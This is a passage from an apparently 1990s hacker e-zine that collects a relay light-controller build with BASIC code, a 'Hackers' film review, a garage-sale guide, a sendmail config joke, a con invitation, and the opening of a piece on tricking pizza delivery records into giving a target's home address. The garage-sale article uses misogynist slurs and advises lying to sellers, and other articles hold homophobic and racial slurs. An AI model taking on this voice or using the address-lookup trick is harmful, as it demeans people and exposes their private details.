- Inquiries: Member name, number, and date inquired. Two year history as
shown above.
END OF REPORT EQUIFAX AND AFFILIATES - 04/22/93 SAFESCANNED
- Safescanned: This file was accessed by a customer using the equifax save
as acrofile option. Plus date file was accessed.
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The Hacker Light Show
by Tele Monster
This was first used publicly @ summercon 1995
** WARNING - ThIS file deals with high level electricity. If you are
not familiar with working with 120volt AC levels, do not attempt
to make this device for controlling household electricity. It can
be used to safely control 12volt DC lights, or any device as well.
The author or FEH takes no responisbility for the loss of life, limb
or computer (that includes 8255ppi's and parallel ports).
Now that your ready to burn your house or hotel down, lets begin.
This system switches up to 8 relays from a printer port. Using
the relays described the MAX on each relay is 2 amps of AC power.
That equals 200 watts of lights, or 2 lamps with 100 watt bulbs.
We solve the load problem with small modules that switch 15 amps
worth of power, which is good for 15 100 watt light bulbs.
You can use the relays to switch any dc loads instead.
Included is some examples of software. The idea came from an
article written in computer shopper about running a radio controlled
car. I only saw the article once at a friends house and was never
able to find it again. I peiced this together, it works for me.
---- PARTS for main controller:
* 4 dpdt relays. These need a 5 volt coil, ttl compatible and switch
a 120volt AC load @ 2 amps. These can be found at your nearby
radio shack.
* 4 1N4148 diodes
* A sutable housing. Mine was housed in a rack mount 12 outlet box I
found at a surplus store. You might want a circuit breaker in there
as well. Its easy to take a 6 outlet power strip and remove 2
outlets.
* A cable (DB-25) to connect to your parallel port. If you are going to
use a serial cable, be sure that all pins are wired. Make sure the
gender is proper to (male for most people).
* A 5 volt DC power supply. One that is adjustable between 5 and 7 is
good. A little plug in power pack works dandy
---- PARTS for remote modules (1 set needed for each module)
* 1 Tupperware (tm), Rubermaid (tm), or Rat Shack project box.
* 1 Heavy duty 3 conductor extension cord (3 prong, 8' should do fine)
* 1 long length (depending on how remote) zip cord & plug. This will
determine how far away you can place the module from the
controller. This has to be able to handle 120vac, but doesn't have
to be thick. Cheap thin lamp cord and a clip on plug do fine.
* 1 DPDT (or SPST, I dunnot care) relay. 120volt AC coil with contacts
rated at 120 volt ac. 10 to 15 amps is fairly good.
Instructions for building main controller:
-----------------------------------------
Printer Port
Relay .--- AC plug black
.-----------------. : .-AC plug white
2 -------+---:- N.O. -: --------:--:------------- Outlet #1 black
: :coil load -: --------+ +------------- Outlet #1 white
diode ^ .-:- N.C --: : :
: : `-----------------' : :
+5v----+-' : :
Relay : :
.-----------------. : :
3 -------+---:- N.O. -: --------:--:------------- Outlet #2 black
: :coil load -: --------+ +------------- Outlet #2 white
diode ^ .-:- N.C --: : :
: : `-----------------' : :
+5v----+-' : :
Relay : :
.-----------------. : :
4 -------+---:- N.O. -: --------:--:------------- Outlet #3 black
: :coil load -: --------+ +------------- Outlet #3 white
diode ^ .-:- N.C --: : :
: : `-----------------' : :
+5v----+-' : :
Relay : :
.-----------------. : :
5 -------+---:- N.O. -: --------:--:------------- Outlet #4 black
: :coil load -: --------+ `------------- Outlet #4 white
diode ^ .-:- N.C --:
: : `-----------------'
+5v----+-'
+5v -----.
:
20 ---- (power supply 5 volts dc -)-:|:|:|--'
- +
Key
---
+ = connected, -:- = not connected.
N.O = Normally open (when no power going to coil, power doesnt pass
thru)
N.C = Normally closed.
Load = Common
Notes
-----
On the AC power side, the ground (green) and white should be wired
straight down. from the plug from the wall to all outlets.
The black wire runs into every relay's load, then from the n.o line
into the power outlets.
You can put 8 relays per port on this system. Just duplicate the same
thing using pins 6 7 8 & 9.
You may have to adjust the voltage from the power supply. Trigger all
relays on, then check to see if they all open.
I WOULD NOT SUGGEST USING THIS WITH A COMPUTER WHO'S PRINTER PORT
IS NOT EASILY CHANGEABLE. HENCE A EXPENSIVE NOTEBOOK OR LAPTOP, OR
OTHER STRANGE COMPUTERS. BY CHANGEABLE, I MEAN REPACED IN CASE OF
ACCIDENT.
The BLACK wires go into the ac outlets on the side with the LARGE
blade.
PLUG
.-----black
Remote modules: : .---white
-------------- : :
15 amp relay : :
.----------------. : : OUTLET
ac plug/black/2 conductor zip cord) ------- :- no-:--:------- black
white ------------- :- coil load :--' `----- white
: nc-:
`----------------'
The ac plug zip cord connects to an outlet on the above controller.
The zip cord plug triggers the relay, which allows power to flow
between the PLUG/OUTLET.
Be sure to solder the connections VERY WELL. I used non-conductive
hot melt glue all over the solder connections to help prevent any
shorting.
Software
--------
The way the unit is programmed, or rather the way it works is as
follows. Whenever data is sent thru the printer port, the 8 data lines
make and break connections. This unit just puts 8 relays on it, and you
force the printer port to hold values.
Here is a basic program that will count binarily up. If you have 8
relays hooked up, you will see it count in binary.
10 CLS
20 PRINT "FEH 1995 PUNK ASS BEYATCH"
30 C = 0
40 D = 0
50 OUT &378, C
55 PRINT "werd. ",C
60 D = D + 1
70 IF D = 2000 GOTO 100
80 GOTO 60
100 C = C + 1
110 GOTO 40
the command to output the value is OUT &378, #
# range is 0 to 255. replace 378 with the proper port address.
255 resets. duh
In C use the outport command.
Turbo Pascal, hellifIknow.
---------------------------------------------------------------
Welp- Have fun... And after and if it works - I will release the
128 port non-electromechanical version. Hopefully you will see it
in action @ h0h0con. I hope everyone will help in connecting up
a huge 5 x 6 room matrix. :) Please bring all the extension cords
you can!
Also - We have been sucessful in using DPDT relays to construct,
well, a pretty downright simple conference bridge by connecting
phone lines and a dtmf decoder. This should crank forth some ideas.
Enclosed could be some sample source, including FLASH.BAS used @
scon, and a gif of the schematic.
Laters all- Tele Monster / telmnstr@infi.net
10 CLS : R=0
20 LOCATE 11,30 : PRINT "The Multi-Media Group 1993"
30 R=R+1 : IF R=3000 THEN GOTO 50
40 GOTO 30
50 CLS
60 F=1
70 PRINT "--Flasher-Tracker-V.2.0-----------------------------------------"
80 PRINT "Written By Tele Monster - The Multi-Media Group 1993"
90 PRINT "----------------------------------------------------------------"
100 PRINT "Rate per step ? (200 = normal):
110 INPUT D
120 CLS
130 LOCATE 3,3 : PRINT "Rate is set to.. ";D
140 C=1 : OUT &H378, 254 : PRINT " =STEP 1=========================","RATE:";D : E=E+1
150 IF C=D GOTO 290
160 IF INKEY$="-" THEN GOSUB 1060
170 IF INKEY$="+" THEN GOSUB 1070
180 IF INKEY$="Q" THEN GOSUB 1090
190 IF INKEY$="W" THEN GOSUB 1100
200 IF INKEY$="E" THEN GOSUB 1110
210 IF INKEY$="R" THEN GOSUB 1120
220 IF INKEY$="T" THEN GOSUB 1130
230 IF INKEY$="Y" THEN GOSUB 1140
240 IF INKEY$="U" THEN GOSUB 1150
250 IF INKEY$="I" THEN GOSUB 1160
260 IF INKEY$="O" THEN GOSUB 1170
270 C=C+1
280 GOTO 150
290 C=1 : OUT &H378, 253 : PRINT " --------=STEP 2=----------------"
300 IF C=D GOTO 440
310 IF INKEY$="-" THEN GOSUB 1060
320 IF INKEY$="+" THEN GOSUB 1070
330 IF INKEY$="Q" THEN GOSUB 1090
340 IF INKEY$="W" THEN GOSUB 1100
350 IF INKEY$="E" THEN GOSUB 1110
360 IF INKEY$="R" THEN GOSUB 1120
370 IF INKEY$="T" THEN GOSUB 1130
380 IF INKEY$="Y" THEN GOSUB 1140
390 IF INKEY$="U" THEN GOSUB 1150
400 IF INKEY$="I" THEN GOSUB 1160
410 IF INKEY$="O" THEN GOSUB 1170
420 C=C+1
430 GOTO 300
440 C=1 : OUT &H378, 251 : PRINT " ----------------=STEP 3=--------"
450 IF C=D GOTO 590
460 IF INKEY$="-" THEN GOSUB 1060
470 IF INKEY$="+" THEN GOSUB 1070
480 IF INKEY$="Q" THEN GOSUB 1090
490 IF INKEY$="W" THEN GOSUB 1100
500 IF INKEY$="E" THEN GOSUB 1110
510 IF INKEY$="R" THEN GOSUB 1120
520 IF INKEY$="T" THEN GOSUB 1130
530 IF INKEY$="Y" THEN GOSUB 1140
540 IF INKEY$="U" THEN GOSUB 1150
550 IF INKEY$="I" THEN GOSUB 1160
560 IF INKEY$="O" THEN GOSUB 1170
570 C=C+1
580 GOTO 450
590 C=1 : OUT &H378, 247 : PRINT " ------------------------=STEP 4=", "Count:";F : F=F+1
600 IF C=D+3 GOTO 740
610 IF INKEY$="-" THEN GOSUB 1060
620 IF INKEY$="+" THEN GOSUB 1070
630 IF INKEY$="Q" THEN GOSUB 1100
640 IF INKEY$="W" THEN GOSUB 1100
650 IF INKEY$="E" THEN GOSUB 1110
660 IF INKEY$="R" THEN GOSUB 1120
670 IF INKEY$="T" THEN GOSUB 1130
680 IF INKEY$="Y" THEN GOSUB 1140
690 IF INKEY$="U" THEN GOSUB 1150
700 IF INKEY$="I" THEN GOSUB 1160
710 IF INKEY$="O" THEN GOSUB 1170
720 C=C+1
730 GOTO 600
740 C=1 : OUT &H378, 251 : PRINT " ----------------=STEP 5=--------"
750 IF C=D GOTO 890
760 IF INKEY$="-" THEN GOSUB 1060
770 IF INKEY$="+" THEN GOSUB 1070
780 IF INKEY$="Q" THEN GOSUB 1090
790 IF INKEY$="W" THEN GOSUB 1100
800 IF INKEY$="E" THEN GOSUB 1110
810 IF INKEY$="R" THEN GOSUB 1120
820 IF INKEY$="T" THEN GOSUB 1130
830 IF INKEY$="Y" THEN GOSUB 1140
840 IF INKEY$="U" THEN GOSUB 1150
850 IF INKEY$="I" THEN GOSUB 1160
860 IF INKEY$="O" THEN GOSUB 1170
870 C=C+1
880 GOTO 750
890 C=1 : OUT &H378, 253 : PRINT " --------=STEP 6=----------------"
900 IF C=D THEN GOTO 140
910 IF INKEY$="-" THEN GOSUB 1060
920 IF INKEY$="+" THEN GOSUB 1070
930 IF INKEY$="Q" THEN GOSUB 1090
940 IF INKEY$="W" THEN GOSUB 1100
950 IF INKEY$="E" THEN GOSUB 1110
960 IF INKEY$="R" THEN GOSUB 1120
970 IF INKEY$="T" THEN GOSUB 1130
980 IF INKEY$="Y" THEN GOSUB 1140
990 IF INKEY$="U" THEN GOSUB 1150
1000 IF INKEY$="I" THEN GOSUB 1160
1010 IF INKEY$="O" THEN GOSUB 1170
1020 C=C+1
1030 GOTO 900
1040 PRINT " ","Rate:";D
1050 RETURN
1060 D = D + 5 : RETURN
1070 D = D - 5 : RETURN
1080 E=0 : CLS : RETURN
1090 D = 10 : RETURN
1100 D = 20 : RETURN
1110 D = 30 : RETURN
1120 D = 40 : RETURN
1130 D = 50 : RETURN
1140 D = 100 : RETURN
1150 D = 200 : RETURN
1160 D = 300 : RETURN
1170 D = 490 : RETURN
10 CLS
11 PRINT : PRINT : PRINT
20 OPEN "com2" FOR OUTPUT AS 1
30 OPEN "log" FOR OUTPUT AS 2 : PRINT "Actions being saved in file LOG. "
34 LOCATE 4,1
35 PRINT "--------------------------------------------------------------"
40 PRINT "System started at",TIME$, "on", DATE$
41 PRINT "Using COM 2 for monitor port"
42 PRINT "Resetting Controler" : OUT &H378,255
48 PRINT "--------------------------------------------------------------"
50 PRINT #1, "System started at",TIME$, "on", DATE$ : PRINT #1, CHR$(7)
60 PRINT #2, "System started at",TIME$, "on", DATE$
100 PRINT #1,".--------------------------------------------."
110 PRINT #1,"| The most advanced light timer.. ever |"
120 PRINT #1,"`--------------------------------------------'"
130 PRINT #1,".--------------------------------------------."
140 PRINT #1,"| Written by Tele Monster November 1993 |"
150 PRINT #1,"`--------------------------------------------'"
160 PRINT #1,".--------------------------------------------."
170 PRINT #1,"| Version 1 . 0 |"
180 PRINT #1,"`--------------------------------------------'"
190 PRINT #1,"-------------------------------------------------"
195 PRINT #1, "- Press + for force on, - for force off"
200 LOCATE 1,1 : PRINT "The Most Advanced Light Timer. EVER. V.1.0 - November 1993 - Tele Monster " : LOCATE 12,1
400 C = 0
410 C = C + 1
411 B$=INKEY$
412 IF B$="+" THEN OUT &H378, 240
413 IF B$="-" THEN OUT &H378, 255
420 IF C = 2000 THEN GOTO 800
430 IF TIME$ = "17:00:00" THEN GOTO 1000
440 LOCATE 2,5 : PRINT "Time=:",TIME$, "Waiting for 17:00:00" : LOCATE 3,5 : PRINT C
450 GOTO 410
800 A = A + 1 : IF A > 8 THEN GOTO 900
810 IF A = 1 THEN PRINT #1, "C'mon... Its almost midnight... ",TIME$
820 IF A = 2 THEN PRINT #1, "Its almost twilight on this fine nite.. its",TIME$
830 IF A = 3 THEN PRINT #1, "Hmmmm. Can't wait till tonight..its ",TIME$
840 IF A = 4 THEN PRINT #1, "Wouldnt a normal time be easier? ",TIME$
850 IF A = 5 THEN PRINT #1, "This is a boring job........... ",TIME$
860 IF A = 6 THEN PRINT #1, "All this to turn on lights..... ",TIME$
870 IF A = 7 THEN PRINT #1, "Nighttime aproaces on this day..... ",TIME$
880 IF A = 8 THEN PRINT #1, "Yawn... This gets old fast!!....... ",TIME$
890 GOTO 400
900 A = 0 : GOTO 800
1000 : LOCATE 12,1 : PRINT "Sending ON command for channels 1,2,3,4"
1010 PRINT #1,"Sending ON command for channels 1,2,3,4" : PRINT #1,CHR$(7)
1011 PRINT #1, ".----------------------------."
1012 PRINT #1, "| . . . .| . . |"
1013 PRINT #1, "| . /\ . . -*- . |"
1014 PRINT #1, "| . /. o \ . |. . |"
1015 PRINT #1, "| /_ o . _\ |"
1016 PRINT #1, "| /o.. o\ |"
1017 PRINT #1, "| /___ . ___\ |"
1018 PRINT #1, "| |__| |"
1019 PRINT #1, "`----------------------------'"
1020 PRINT #2,"Sending ON command for channels 1,2,3,4"
1030 OUT &H378, 240
1040 PRINT "Command Sent"
1050 C = 0
1100 PRINT #1, "Waiting for 23:00:00"
1101 PRINT #2, "Waiting for 23:00:00"
1102 PRINT "Waiting for 23:00:00"
1103 PRINT #1, "Press + for force on, - for force off"
1110 IF TIME$ = "23:00:00" THEN GOTO 2000
1111 LOCATE 2,5 : PRINT "Time:",TIME$, "Waiting for 23:00:00 For Shutdown"
1112 B$=INKEY$
1113 IF B$="+" THEN OUT &H378, 240
1114 IF B$="-" THEN OUT &H378, 255
1120 GOTO 1110
2000 LOCATE 12,1 : PRINT "Its time to shutdown...."
2001 PRINT #1,"Its time to shutdown...."
2002 PRINT #2,"Its time to shutdown...."
2010 OUT &H378, 255
2020 PRINT #2, "System Reset.... "
2030 PRINT #1, "System going down for nightly event...."
2040 PRINT "System going down for nightly event...."
2050 CLOSE #1
2060 CLOSE #2
2070 GOTO 10
3000 OUT &H378,255
3010 GOTO 412
3050 OUT &H378,240
3060 GOTO 412
[Ed note: I really don't like sticking in binaries, but it is appropriate
for this article.]
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"Hackers"
- A movie review by
Juliet
Well.. ReDragon asked me to write for FEH.. I had no idea to write
and when I saw the ruckus in #hack after "Hackers" was released. So
here it is.. It ended the weekend being in the top three movies this
weekend. Well where should I begin.. I missed the first 20 minutes of
the movie.. due to Sp00n giving me the wrong time, so I walked into the
theatre and found my friends, it wasn't hard since there were 13 people
in the theatre total including my seven friends and I. I was at first
worried about walking in late.. and missing the complicated twists and
turns of the plot, and then I remembered where I was.. Now I walked in
there with some slight hope of realism in my heart, and then looked up
and saw he was downloading on Mac.. you could see the cheezy graphix..
which was suppose to be the "Flow of Information".. . Personally
they could have picked a cooler chick.. Alicia Silverstone or
Drew Barrymore.. anyway lemme continue. I sat down and then my friend
Dawn proceeded to throw pennies at me..
I absolutely loved the navigating through the Gibson.. it reminded me of
playing Descent. Anyway.. I guess I should go over the plot of
the movie so those of you who have NOT seen
it, or we just to busy with your tounge down your girl/boyfriend's
throat.
"Dade Murphy.. AKA Zero Cool was busted when he was like 11.. for
crashing 15,008 computer systems with his virus in 1 day.. and
all they did to the brat was say he couldn't use a computer till
he was.. he couldn't even use a tocuh-tone phone. Fade out.. Fade
in.. Now Mr. Murphy is 18.. and hey gets a mac . And
of course since he the techo-stud he is.. he hacks right into the
TV station.. And someone called "Acid Burn" already owns this
turf.. and he proceeds to tell "Mr"Acid Burn that "You mess with
best, you die with the rest.." go figure.. anyway.. he pulls some
school pranks.. decides he wants the chick wearing vinyl.. and
"hacks" himself into her class.. oh.. what a rebel. while in her
english class.. another hacker "Cereal Killer" who's real name is
EMMANUEL GOLDSTEIN gets kicked
out.. anyway, the dweebs in the school realize he is
"/<-r4d-31337" so they take him to some techno trendy arcade/food
place.. almost as cheesy as the @cafe. At this place is "Phreak",
"Cereal", and Joey.. who has no handle.. and seems to remind me of
Lestatt.. basically this is starting to sound like the MGAUA
homepage so lemme cut it short.. little Joey accidently hacks a
GIBSON.. gets a file. it turns out that it was a worm planted by
the bad guys at the company.. and Joey's little "elite" friends
try to save him.. on the way to save him.. they meet the flaming
"gewky" twins, Lord Nikon, Kate Libby's boyfriend , and other hackers all
over the world and of course..
we have our little friends from the SS, and the company who was
supposidly hacked.. as the MEANIE BAD people"
There is the basic plot.. cheesy as it sounds.. it was slightly
entertaining.. Sp00n and I are the only ones who laughed.. while my non-'puter
friends just kinda looked at us funny. I think if you take it as sheer
humor.. you will get a big kick out of it.. well enough of a kick to pay the
matinee price.. I don't think it was worth the full 7.50 .. but.. that
is my own opinon.. here is my review.. all opinons here are my own.. and
do not represent FEH or any of it's staff.. and junk like that.. so get
out and "Hack the Planet" or just go IRC.. it is all the same to me.
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! The Phenomenological Eleetness !
$ Of Garage Sales $
! (with a commentary on the state of affairs on #hack) !
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! by x0x !
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Phenomenology is the study of things as they are in themselves,
independent of our perception of them. Certain things are eleet and
others are not. This is an phenomenon which occurs independent of what
we think, what we know, and what we desire. If a thing is eleet, it's
eleetness is intrinsic and cannot be changed or made to be non-eleet.
Items that are eleet can be destroyed but they do not lose their
eleetness. It is not necessary for an eleet item to "function" or
to be in working condition for it to maintain its quality of being eleet.
My 300 baud modem *is* in effect, more eleet than your USRobotics 28.8k.
What then does this all have to do with garage sales? Well,
simply put: there are tons of eleet items at garage sales for little or
no cash that are just waiting for you to snag them. One must remember
however that owning even large quantities of eleet things does not
necessarily make the owner eleet. Human eleetness is completely
different, though similar, but is outside the scope of this article.
This article will basically take you through some basics of how to make
the best out of your Saturday morning adventures. The pursuit of
knowledge is often included in what it means to be eleet. Likewise, the
pursuit of eleet items is an art in and of itself whether it be for
profit or just for the sake of gaining eleet objects.
1. On Friday grab a newspaper before you go to work or school and cut out
the whole garage sale section. Obtain a recent street map of your city.
You will be able to re-use the map.
2. Get about 10 yellow post-it notes and cut 1 x 1/2" squares of paper which
have the "sticky" on the back of them. This should yield about 30
squares with sticky stuff on them.
3. Go through the classified garage sale section of the newspaper and look
for adds that say stuff like "computer stuff....software....electronics"
or "antiques" or whatever eleet thing it is that you are into.
4. Write the street number and address and what time the garage sale starts
on a yellow sticky.
5. The garage sales are usually broken down into "Areas" or "Sections" of
town. Look for the RICH areas. Write down more addresses and start
times, one per square until you have about 20-30 of them.
6. Don't always believe all that "100 Family Garage Sale!" shit. Sometimes
it is a goddamn lie. Go to the rich areas of town and be early.
7. Next, fold your map open conveniently and then take each yellow sticky
and find the exact street on the map and play the corner of the sticky
so it points to the actual street itself on the map. Do this until
all are placed. Fold map in half.
8. Wake up at 5:45am on Saturday morning. Eat. Get dressed in shorts and
a t-shirt. Hopefully pick up a partner so he can navigate and you can
concentrate on driving. Leave the house no later than 6:00am. Bring
$20.00 with you. No more. Anything over $20 at a garage sale is fucking
rediculous. I once bought a working BearCat Scanner for $2.00.
9. Start hitting those fuckers, one by one and be fast about it. Scan
quickly and intelligently...look for ELEET things to pop up at you.
Dig through people's old shit and find awesome eleet shit that is
marked 25 cents and tell the whore running it that you will give her
10 fucking cents and not a penny more. If she disses you, throw the
thing down and walk off.
10. Rule of thumb: always offer 40% of price marked, unless it is obviously
way too fucking high. Carry change (one's and quarters) and if the
whore running it says she has to get at least $10 for it, lie and say
all you have is $8.75. She will let you have it.
People don't realize what they have a lot of times. You can find
shit that will blow your fucking mind. I once saw an antique dresser
that was obviously worth $700-800 and the dumb whore had sold it for $35.00.
Take advantage of people's stupidity. Rich people get rid of eleet shit
when they upgrade to even eleeter shit. Captalize on their wastefulness.
A new technique I have developed for social engineering shit for
free at garage sales is like when I see a larger priced item for
sale...for example I saw a fucking TRS-80 with all sorts of software and
peripherals and shit listed for $60.00. Well, I told the whore that I
was a brooke college kid and that I would love to have the compooter and
would she consider donating it to me if she does not sell it. W00p, I
left my name and number and at the end of the day, she called and said
come get it. Free. I have prolly over $1000.00 worth of shit I got for
maybe $100 investment. My book collection is ELEET. I have ELEET shit.
Well, I left a lot of shit out that I wanted to put but it is
past midnite and this artikle is due. I must say that the takeover
attempts on #hack have been particularly lame lately. In case anyone
hasn't noticed I have kind of found my home as WATCHDOG of #hack and I am
steadily building my Shit list. Anyone who takes over the channel, bans
me or any other eleets is SHITTED. That means auto-fucked. You fuck up
and you will NEVER get in #hack again. PHEAR x0x. Later fuckers.
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HOW I SPENT MY DAY FUCKING WITH SENDMAIL, OR HOW TO BE CREATIVE WITH SENDMAIL
by foo
TODAY I INSTALLED SENDMAIL 8.7 ON 10 MACHINES. ALL TEN OF THEM BROKE.
IN FACT I MANAGED TO BREAK EACH ONE NEARLY 37 TIMES. I FIXED THEM THOUGH.
THEY ALL WORK NOW. SENDMAIL EVEN WORKS.
IF YOU ARE INSTALLING SENDMAIL, AND WOULD LIKE TO BE CREATIVE, YOU HAVE A FEW
OPTIONS.
SOME OF THEM ARE AS FOLLOWS, THE REST I'M TOO LAZY TO TELL YOU ABOUT:
IN THE SPECIAL MACROS SECTION, YOU CAN CHANGE MESSAGES TO BE MORE WITTY.
FOR INSTANCE LOOK AT THIS BORING MESSAGE.
# SMTP initial login message
De$j Sendmail $v/$Z ready at $b
SOMEONE WHO WANTED TO PRETEND TO BE WITTY COULD CHANGE IT TO:
De$j SHITTY MAIL PROGRAM WITH LOTS OF BUGS $v/$Z READY TO HAVE PEOPLE TRY
OUT EXPLOIT SCRIPTS AT $b
THIS IS WHAT IT WOULD LOOK LIKE WHEN YOU CONNECTED TO THE SMTP PORT ON
WHATEVER MACHINE (FOR OUR PURPOSES IT'LL BE FEH.ORG) THIS IS ON:
bash# telnet feh.org 25
Trying bash# telnet localhost 25
Trying 204.255.237.3...
Connected to FEH.ORG. Escape character is '^]'.
220 FEH.ORG ESMTP SHITTY MAIL PROGRAM WITH LOTS OF BUGS VERSION 8.7/FEH
READY TO HAVE PEOPLE TRY OUT EXPLOIT SCRIPTS AT Fri, 22 Sep 1995 23:59:15
-0700 (MST)
YOU NOTICED THAT THE VERSION IS 8.7/FEH (WE HACKED SENDMAIL!@#$$). YOU
WONDER, HOW MIGHT AN ENTERPRISING PERSON SUCH AS YOURSELF DO THIS?
LIKE THIS:
# Configuration version number
DZFEH
REMEMBER THE $Z IN THE LINE UP THERE? WELL BELIEVE PATHOLOGICALLY LYING NARCS
LIKE DOB OR NOT, WHATEVER YOU PUT AFTER DZ WILL BE PUT IN PLACE OF $Z. IT'S
CALLED A MACRO. D DEFINES TE MACRO NAMED "Z" TO BE "FEH" AND $Z WILL EXPAND
THE MACRO. SIMPLY AMAZING. MORE AMAZING THAN THE FACT THAT W1NG EVER LEARNED
TO HACK. OH, WELL I FORGOT THAT HE NEVER DID, CUZ ALL HE USES IS SCRIPTS OTHER
PEOPLE WROTE ( POSSE ) BUT ANYHOW THAT'S ENOUGH SUBJECT MATTER
FOR A WHOLE OTHER ARTICLE.
TO BE EVEN MORE WITTY, AND FUCK WITH YOUR USERS THERE ARE MORE THINGS YOU CAN
CHANGE. FOR INSTANCE HERE'S ANOTHER LINE FROM SENDMAIL.CF:
# UNIX initial From header format
DlFrom $g $d
THIS COULD BE CHANGED TO:
D1THIS IS THE MORON THAT MAILED YOU OF ALL PEOPLE YOU FUCKING DOLT $g $d
THAT WAY, WHEN SOMEONE READ THEIR MAIL (REAL HACKERS USE tail -f $MAILSPOOL)
THEY WOULD BE OFFENDED. AND YOU'D OFFEND WHOEVER SENT THEM MAIL AS WELL, BUT
THEY WOULDNT REALLY SEE SO THEY'RE NOT IMPORTANT I GUESS.
OH BY THE WAY, I WOULD HAVE SHOWN YOU A MAIL HEADER WITH THIS SCATHING
MESSAGE WITHIN, BUT I WAS TOO LAZY. BESIDES, I'M ONLY WRITING THIS SO
REDRAGON WILL OP ME.
HERE'S SOME MORE PLACES YOU COULD CHANGE TOO, THAT WOULD ACTUALLY WORK UNLIKE
THE SHODDY EXAMPLE I GAVE ABOVE. I'M TOO LAZY TO SHOW YOU HOW THOUGH, BECAUSE
IT INVOLVES TEACHING YOU THINGS YOU WOULDNT UNDERSTAND ANYHOW YOU FUCKING TWERPS.
H?P?Return-Path: $g
HReceived: $?sfrom $s $.$?_($_) $.by $j ($v/$Z)$?r with $r$. id $i$?u for
$u$.; $b
H?D?Resent-Date: $a
H?D?Date: $a
H?F?Resent-From: $q
H?F?From: $q
H?x?Full-Name: $x
HSubject:
# HPosted-Date: $a
# H?l?Received-Date: $b
H?M?Resent-Message-Id: <$t.$i@$j>
H?M?Message-Id: <$t.$i@$j>
BY THE WAY, IF YOU WERE TOO POOR TO HAVE YOUR OWN MACHINE TO HOST A DOMAIN ON
(LIKE FEH IS) THIS IS WHAT YOU COULD DO TO GET MAIL ON SOME OTHER BASTARDS BOX
BUT AT ANYNAME@YOURDOMAIN. WE DO THIS FOR FEH BECAUSE REDRAGON IS POOR AND
CANT AFFORD A DECENT MACHINE, AND BESIDES HE GOT HIS LINK TAKEN AWAY BECAUSE
OF DOLT HACKERS AND THE DILDOS AT CERT.
S98
R$+ < @ feh . org . > $#local $@ $: FEH
THIS HERE IS RULESET 98 IN WHICH YOU CAN DO LOTS OF NEAT SHIT. WHAT THIS
LINE WOULD DO IS SEND ANY MAIL TO @FEH.ORG TO THE USER "FEH" ON
WHATEVER MACHINE THIS IS ON. OF COURSE YOU HAVE TO REGISTER YOUR DOMAIN AND
MAKE DNS ENTRIES AND ADD ANOTHER INTERFACE IF FEH.ORG HAS A DIFFERENT IP THAN
THE MACHINE IT'S ON, BUT YOU KNEW THAT DIDN'T YOU.
ANYHOW I'M BORED NOW SO I'M DONE. THIS WASN'T MEANT TO HAVE ANY INFORMATION
OF WORTH, NOR BE AMUSING, NOR ANYTHING. THE ONLY REASON I WROTE IT IS SO I
COULD GET OPS FROM REDRAGON BECAUSE IRC IS MY LIFE.
ONE MORE THING. ANYONE WHO LIKES SYSTEM V IS A FAG.
BSD 4.4 IS THE SHIT.
*smooch*
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PUMPCON IV INFO
It's time for Pumpcon to once again rear it's ugly head.
This years event continues a long tradition of Halloween Cons.
What: The Fourth Annual Pumpcon, Pumpcon 95
When: Saturday, October 28, 1995 -- Beginning at 1 p.m.
Where: Philadelphia (yes, for a third time in Philly)
Who: Sorry lamerz, this con is still invitation only.
(see How to get invited below)
Why: For freedom of expression, to make the world a more
rotten place to live. Hell just cause we wanna do it ok?
(Actually it's just a kewl place to be)
How: (How to get invited) Ok, to keep the lamer level down to
a low roar, Pumpcon continues to be invitational. The procedure is
simple, so simple in fact someone is bound to fuck it up. All
you gotta do is email pumpcon@madhouse.com and ask for an invite.
If yur a federal agent or a member of the media you must state so
in this request -- and don't expect an invitation.
We are limiting attendence so get your invite early. Also, we may
have to increase the size of the conference room as Halloween
nears, so if you're sure your gonna go let us know.
We here on the Pumpcon staff are big on nostalgia, so if you were
at a previous Pumpcon and didn't vomit in the conference room,
you can pretty well be assured that you will be invited again.
Also being a member of UPT, CSP, k0d, sectec, l0d, m0d, feh, or
if yur of the niggahj00 persuasion is a sure bet you'll get in.
PLEASE NO MEDIA, REPORTERS, TV CREWS, or any agents of the FBI,
CIA, NSA, OSI, CID, NIS, DIA, BATF or other law inforcement
organizations. Philadelphia Police Please Show Your Warrants at
the door.
What you say? You don't have email? Well then yur probably just
to dam lame to attend. That goes for you ppl who don't know how
to get a shadowed password phile, if you don't know you ain't
gonna learn here. (so don't even fucking ask)
Ppl who send in for an invite will be put on the eleet invitez
list and will not only receive notification of their invite
status, they'll also get directions to where Pumpcon is actually
being held (yes Philadelphia for sure) and whats planned for
happensings there. I can tell ya now though that the Hotel will
have rooms for around $50, and that pre-Pumpcon festivites will
begin the Friday before. BTW: Once you send in for an invite be
patient. Just cause you don't get email right away doesn't mean
yur not invited, it means we haven't written to the list. We
will notify you if yur not invited also, so you don't get all
excited. Either way you'll hear from us.
Machines are optional and at yur own risk, although we had no
problems with machines during the last Pumpcon. We'll have at
least a slip link up, if not PPP and there's sure to be an
ethernet run somewhere. (Please leave the stolen payphones in
your car.)
Travel: Car poolz are forming now in Boston, New York, and
Washington, DC. Ask around if you need a ride.
Cost: I bet you were wondering when we would get to this. Well,
we're asking for your fair share only. This means once we see
how many ppl arrive, we ask for fair donations. Last year this
was $5. It won't exceed much more then that, but you're always
free to give more. We're only expecting to recover some of what
it cost for the conf room. Bring $10 to be sure, but it's
looking like it will only cost you $5.
T-Shirts: I heard rum0rz of someone making t-shirts this year,
if it's you remind me and I'll tell others not to bother.
Lastly: Pumpcon also has a tradition of being somewhat
disorganized, but those who have attended before feel it's a con
with a history, a con that's worth it. So don't expect the
utmost in organization, we ain't getting paid for this shit.
This is a non-profit con, unlike all the others.
Finally: Ixom and Okinawa or any of the Pumpcon staff refuse to
be held libel for anything you do that's st00pid. So if you do
st00pid shit yur on yur own.
For more information or an invite email pumpcon@madhouse.com.
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If you don't think this kind of thing is amusing, go on to the next
article, if you do, read on:
......................The Begining of the end........................
In association with HoD Productions, FeH presents
3leet Pizza Hut C/NA
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H0w t0 s0cia1 3ngin33r PiZza HuT
S0.. Y0ur el3et 4nd stUph, y3t y0u juSt can't s33m t0 fInD wh3r3 y0u l3ft
thAt aUt0mAt3d CNA l00kup nUmb3r. ShIt, gu3ss y0Ur scr3w3d, w3ll mayb3 n0t.
N0w tHaNks to FEH, y0u caN fInd 0ut h0w t0 us3 a D3lIv3ry j0Int n3ar y0Ur
targ3t to g3t hIs aDdr3ss. W0w k-rad!
ThIs Is h0w It w0rks. Many plac3s that have to d3liv3r have b33n c0mpIlIng
a C/NA dAtAbAs3 s0 th3y d0n't hAv3 t0 d0 as mUcH w0rK. ThaTs wHy wh3n y0u
